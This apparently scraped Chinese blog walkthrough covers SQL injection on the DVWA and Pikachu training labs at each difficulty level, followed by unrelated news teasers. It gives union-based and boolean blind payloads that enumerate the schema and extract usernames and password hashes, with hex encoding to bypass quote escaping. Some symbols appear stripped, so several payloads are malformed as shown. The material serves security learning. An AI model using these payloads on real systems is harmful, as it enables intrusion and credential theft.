DvwaPikachu-SQL注入-完整
SQL注入一 初级判断是否存在注入点1 or 11判断字段长度字段数 1 order by 3# 3有错误说明当前查询的结果有两个字段判断字段回显位置1 union select 1,2#判断数据库信息1 union select 1,database()#查找数据库名1 union select 1,database()# 当前的一个数据库1 union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库查找数据库表1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadvwa#1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#查找数据库表中所有字段以及字段值1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers#8取表中数据并猜解账号密码1 union select 1,group_concat(first_name,0x3a,password) from users#9登录管理员后台。pikachu字符型同理二、中级判断是否存在注入点1 异常1 and 11 #正常1 and 12 #异常数字型判断字段长度字段数 1 order by 3# 3有错误说明当前查询的结果有两个字段判断字段回显位置1 union select 1,2#判断数据库信息1 union select 1,database()#查找数据库名1 union select 1,database()# 当前的一个数据库1 union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库查找数据库表1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadvwa# 不行被转义id1 union select 1,group_concat(table_name) from information_schema.tables where table_schema0x64767761 # SubmitSubmit1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#查找数据库表中所有字段以及字段值1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers# 单引号被转义CTF在线工具-Hex在线编码|Hex在线解码|十六进制编码转换在线把users转换成十六进制然后进行id1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name0x7573657273# SubmitSubmitid3 union select 1,group_concat(column_name) from information_schema.columns where table_schema0x64767761 and table_name0x7573657273 # SubmitSubmit8取表中数据并猜解账号密码1 union select 1,group_concat(first_name,0x3a,password) from users#9登录管理员后台。pikachu字符型同理三、高级判断是否存在注入点1 异常1 and 11 #正常1 and 12 #异常字符型判断字段长度字段数 1 order by 3# 3有错误说明当前查询的结果有两个字段判断字段回显位置1 union select 1,2#判断数据库信息1 union select 1,database()#查找数据库名1 union select 1,database()# 当前的一个数据库1 union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库查找数据库表1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadvwa#1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#查找数据库表中所有字段以及字段值1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers# 单引号被转义CTF在线工具-Hex在线编码|Hex在线解码|十六进制编码转换在线把users转换成十六进制然后进行id1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name0x7573657273# SubmitSubmit8取表中数据并猜解账号密码1 union select 1,group_concat(first_name,0x3a,password) from users#9登录管理员后台。pikachu字符型同理SQL-Blind 盲注原文链接DVWA——SQL盲注全等级_dvwa盲注-CSDN博客一、LOW:1. 输入 1 and 11 # 可以看到 正常执行2. 猜解开数据库长度1 and length(database())x #3.确定数据库名字的长度输入语句显示结果1’ and length(database())1 #不存在1’ and length(database())5 #存在说明数据库名字长度是小于5的1’ and length(database())4 #存在说明数据库名字长度为41 and length(database())4 # 说明数据库名字长度就是4个字符3.数据库长度ASCII查询对照表ASCII编码对照表_911查询猜测数据库名的第一个字符ASCII的取值范围由于是DVWA靶场所以合理猜测数据库名为dvwa如果是其他场景下需要不断修改数值缩小取值范围最终确定一个取值输入语句显示结果1’ and ascii(substr(database(),1,1))97#显示存在说明第一个字符是一个小写字母且不是a。1’ and ascii(substr(database(),1,1))100#显示存在说明第一个是d1’ and ascii(substr(database(),2,1))118#显示存在说明第二个是v1’ and ascii(substr(database(),3,1))119#显示存在说明第三个是w1’ and ascii(substr(database(),4,1))97#显示存在说明第四个是a1. 用aascii猜解数据库名 1 and ascii(substr(database(),1,1))100 # 由此确定第一位ascii是100对比ascii表ASCII码对照表-完整ASCII码表-我就查查询可得 为d第二个字母v,ascii值是1181 and ascii(substr(database(),2,1))118 #第三个字母 w,ascii值是1191 and ascii(substr(database(),3,1))119#第四个字母a,ascii值是971 and ascii(substr(database(),4,1))97#综上所述数据库名字就是dvwa;4. 获取表名先判断有多少个表输入语句显示结果1’ and (select count(table_name) from information_schema.tables where table_schemadatabase())1#不存在 1’ and (select count(table_name) from information_schema.tables where table_schemadatabase())2#不存在说明表的数量是2 1’ and (select count(table_name) from information_schema.tables where table_schemadatabase())2 #存在猜想验证成功1 and (select count(table_name) from information_schema.tables where table_schemadatabase())2 #证明有2个表5.确定dvwa数据库中表名的长度输入语句分布解析1.查询列出当前连接数据库下的所有表名称select table_name from information_schema.tables where table_schemadatabase()2.列出当前连接数据库中的第1个表名称select table_name from information_schema.tables where table_schemadatabase() limit 0,1PS:limit 结果编号从0开始返回结果数量3.计算当前连接数据库第1个表名的字符串长度值length( substr ((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1))4.将当前连接数据库第1个表名称长度与某个值比较作为判断条件联合and逻辑构造特定的 sql语句 进行查询根据查询返回结果猜解表名称的长度值1’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))10 #输入语句显示结果1’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))10#不存在1’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))8#存在说明dvwa第一个表长度为91’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))9#存在验证成功实际有2个表guestbook,users;同理可以对第二个表的长度进行猜测输入语句显示结果1’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 1,1))5#存在dvwa第二个表长度为56.确定dvwa数据库中表的名字与确定数据库名字类似用到ascii()和substr()两个函数。substr(str,1,1)从str的第一个字符开始截取长度1 取str的第一个字符limit 0,10-查询结果的第一个1-返回一条查询结果。 eg: limit 3,5 就是返回第4-8条数据。输入语句显示结果1’ and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))103#显示存在第一个表的第一个字符是g以此类推可以确定第一个表的名字是guestbook。guestbook中的第二个字母1’ and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),2,1))117#第二个表users确定1’ and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),1,1))117#存在第二个表的第一个字符是u以此类推可以确定1’ and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),2,1))115#存在第二个表的第二个字符是s以此类推可以确定7.确定users表中的字段数目输入语句显示结果1’ and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_name‘users’)4#存在1’ and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_name‘users’)9#不存在1’ and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_name‘users’)7#存在1’ and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_name‘users’)8#存在所以users表中有8个字段8.确定users表中的8个字段长度输入语句显示结果1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))10#不存在1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))6#存在1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))8#不存在输入1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))7#存在说明users表的第一个字段长度为7输入语句显示结果1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))10#不存在1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))6#存在1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))8#不存在输入1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))7#存在说明users表的第一个字段长度为7同理可以获取其他7个字段的长度9.确定users表中的8个字段名字由于表中的字段数目比较多长度比较长如果采用之前的按字符猜测会很耗时间。根据我们的需要判断users表中是否含有用户名和密码字段即可。根据经验猜测用户名和密码的字段名字如下用户名username/user_name/uname/u_name/user/…密码password/pass_word/pwd/pass/…猜用户名1 and (select count(*) from information_schema.columns where table_schemadatabase() and table_nameusers and column_nameusername)1 #显示不存在更换字段名再尝试发现user显示存在猜密码1 and (select count(*) from information_schema.columns where table_schemadatabase() and table_nameusers and column_namepassword)1 #显示存在综上可知users表中的用户名和密码字段分别为user和password。10.获取user和password的字段值password在存储的时候进行了MD5加密。同样先进行猜测碰撞如果不行再逐个筛选。1 and (select count(*) from users where useradmin)1 #1 and (select count(*) from users where useradmin and password5f4dcc3b5aa765d61d8327deb882cf99)1 #显示存在综上可知一组用户名-密码admin-password。二、Medium步骤和LOW相似不过变成数字型注入需要去掉1后面的单引号。使用burpsuite抓包修改id的值为注入语句即可。同时medium在源代码中对特殊符号进行了转义处理对于带有引号的字符串转换成16进制进行绕过。三、Highhigh级别会另外开启一个页面步骤类似Medium1. 随意选择一个数然后抓包1. 修改参数 1 and length(database())4 #根据布尔 盲注判断数据库名为41. 下面依旧使用sql语句进行查询步骤同上high1. 1 and 11 # 测试发现成功执行1. 盲注测试数据库名长度 1 and length(database())4 #1. 接下来的步骤同上impossible只能使用数字且设置了token 无漏洞

相关新闻

ADCP技术发展与应用全景解析

ADCP技术发展与应用全景解析

1. ADCP技术发展与应用全景解析2026年全球ADCP(声学多普勒流速剖面仪)行业白皮书的发布,标志着这项海洋观测核心技术进入了新的发展阶段。作为水下流速测量的黄金标准,ADCP在过去四十年间完成了从实验室设备到产业化应用的蜕变。我…

2026/7/31 21:53:26阅读更多 →
3分钟上手LLaMA-Factory:从模型微调优化到高效推理部署

3分钟上手LLaMA-Factory:从模型微调优化到高效推理部署

3分钟上手LLaMA-Factory:从模型微调优化到高效推理部署 【免费下载链接】LlamaFactory Unified Efficient Fine-Tuning of 100 LLMs & VLMs (ACL 2024) 项目地址: https://gitcode.com/GitHub_Trending/ll/LlamaFactory 你是否还在为大模型部署时的显存占…

2026/7/31 21:53:26阅读更多 →
文件伪装工具apate:3分钟学会如何快速绕过格式限制

文件伪装工具apate:3分钟学会如何快速绕过格式限制

文件伪装工具apate:3分钟学会如何快速绕过格式限制 【免费下载链接】apate 简洁、快速地对文件进行格式伪装 项目地址: https://gitcode.com/gh_mirrors/apa/apate 你是否曾经遇到过系统只允许上传特定格式文件的困扰?或者想要保护敏感文件不被轻…

2026/7/31 21:53:26阅读更多 →
PowerToys中文版完全指南:免费解锁Windows系统增强工具箱的终极教程

PowerToys中文版完全指南:免费解锁Windows系统增强工具箱的终极教程

PowerToys中文版完全指南:免费解锁Windows系统增强工具箱的终极教程 【免费下载链接】PowerToys-CN PowerToys Simplified Chinese Translation 微软增强工具箱 自制汉化 项目地址: https://gitcode.com/gh_mirrors/po/PowerToys-CN 还在为PowerToys英文界面…

2026/7/31 23:11:54阅读更多 →
Biopython密码子优化:3步提升基因表达效率的实战指南

Biopython密码子优化:3步提升基因表达效率的实战指南

Biopython密码子优化:3步提升基因表达效率的实战指南 【免费下载链接】biopython Official git repository for Biopython (originally converted from CVS) 项目地址: https://gitcode.com/gh_mirrors/bi/biopython 你是否想知道为什么同样的基因在不同生物…

2026/7/31 23:11:54阅读更多 →
车规PCBA量产必崩?从“出厂良率”到“零缺陷能力”的体系跨越

车规PCBA量产必崩?从“出厂良率”到“零缺陷能力”的体系跨越

引言:一个困扰行业十年的“量产魔咒” 在PCBA行业深耕十年,我听过最多的吐槽,不是设备难调、不是打样太贵,而是:“车规板子试产全过,量产必崩,抽检必炸。” 这几乎成了一个行业魔咒。无数研发、…

2026/7/31 23:11:54阅读更多 →
Python自动化简历投递工具开发与实战

Python自动化简历投递工具开发与实战

1. 项目概述:自动投简历神器的核心价值 去年帮学弟改简历时发现一个现象:平均每个求职者需要在8.3个平台重复上传简历,每天手动投递20个岗位要花费2小时。这正是我开发这款全平台自动投递工具的初衷——用技术手段把求职者从重复劳动中解放出…

2026/7/31 23:11:54阅读更多 →
Sablono与Hiccup对比:为什么它是React模板的更好选择?

Sablono与Hiccup对比:为什么它是React模板的更好选择?

Sablono与Hiccup对比:为什么它是React模板的更好选择? 【免费下载链接】sablono Lisp/Hiccup style templating for Facebooks React in ClojureScript. 项目地址: https://gitcode.com/gh_mirrors/sa/sablono Sablono是一个为Facebook React框架…

2026/7/31 23:11:54阅读更多 →
FSR压力传感器信号调理电路设计要点

FSR压力传感器信号调理电路设计要点

FSR压力传感器作为电阻式传感器件,其输出信号需要经过调理电路转换为系统可处理的电压或数字信号。信号调理电路的设计质量直接影响整个测量系统的性能表现。本文从嵌入式开发者的角度,梳理FSR传感器信号调理电路设计中的关键要点和常见问题。一、FSR传感…

2026/7/31 23:09:54阅读更多 →
覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

🔹 工具基础介绍 OpenClaw 是开源生态中一款实用性较强的本地智能工具,凭借本地离线运行、可视化图形操作和任务自动化三大核心特性,赢得了众多用户的青睐。与普通在线对话AI工具不同,它属于能够直接操控本机软硬件的智能数字员工…

2026/7/31 20:44:05阅读更多 →
伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

所谓液压伺服阀体的精密激光焊接,是用激光束对阀座壳体(通常为不锈钢或铝合金)进行密封焊接,使阀体在21-35MPa的高压液压油或压缩气体中长期运行而不发生介质泄漏。液压伺服阀是高端液压系统的"大脑"。从航空航天飞行控…

2026/7/31 17:41:43阅读更多 →
D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南 【免费下载链接】d2dx D2DX is a complete solution to make Diablo II run well on modern PCs, with high fps and better resolutions. 项目地址: https://gitcode.com/gh_mirrors/d2/d2dx 你是否还在…

2026/7/31 20:44:05阅读更多 →
物理复制比逻辑复制好在哪?数据库复制原理详解

物理复制比逻辑复制好在哪?数据库复制原理详解

数据库复制是把主库数据同步到备库的机制,分为逻辑复制和物理复制两种。逻辑复制传输的是 SQL 语句或行变更事件,物理复制传输的是存储引擎底层的物理日志。阿里云 PolarDB(云原生数据库)采用物理复制,在同步延迟、数据…

2026/7/31 0:00:40阅读更多 →
BilibiliDown:3分钟学会B站视频下载的终极指南

BilibiliDown:3分钟学会B站视频下载的终极指南

BilibiliDown:3分钟学会B站视频下载的终极指南 【免费下载链接】BilibiliDown (GUI-多平台支持) B站 哔哩哔哩 视频下载器。支持稍后再看、收藏夹、UP主视频批量下载|Bilibili Video Downloader 😳 项目地址: https://gitcode.com/gh_mirrors/bi/Bilib…

2026/7/31 0:00:41阅读更多 →
有哪些游戏数据AI平台?游戏行业Data+AI融合方案盘点

有哪些游戏数据AI平台?游戏行业Data+AI融合方案盘点

当前,游戏行业的“DataAI融合”已从概念验证进入价值落地阶段。根据IDC 2025年数据,中国AI游戏云市场规模已达18.6亿元;同时,游戏研发环节AI渗透率高达86%,生成式AI内容普及率超过50%。面对庞大的市场,游戏…

2026/7/31 0:00:41阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/31 0:49:33阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/31 5:08:18阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/31 16:02:17阅读更多 →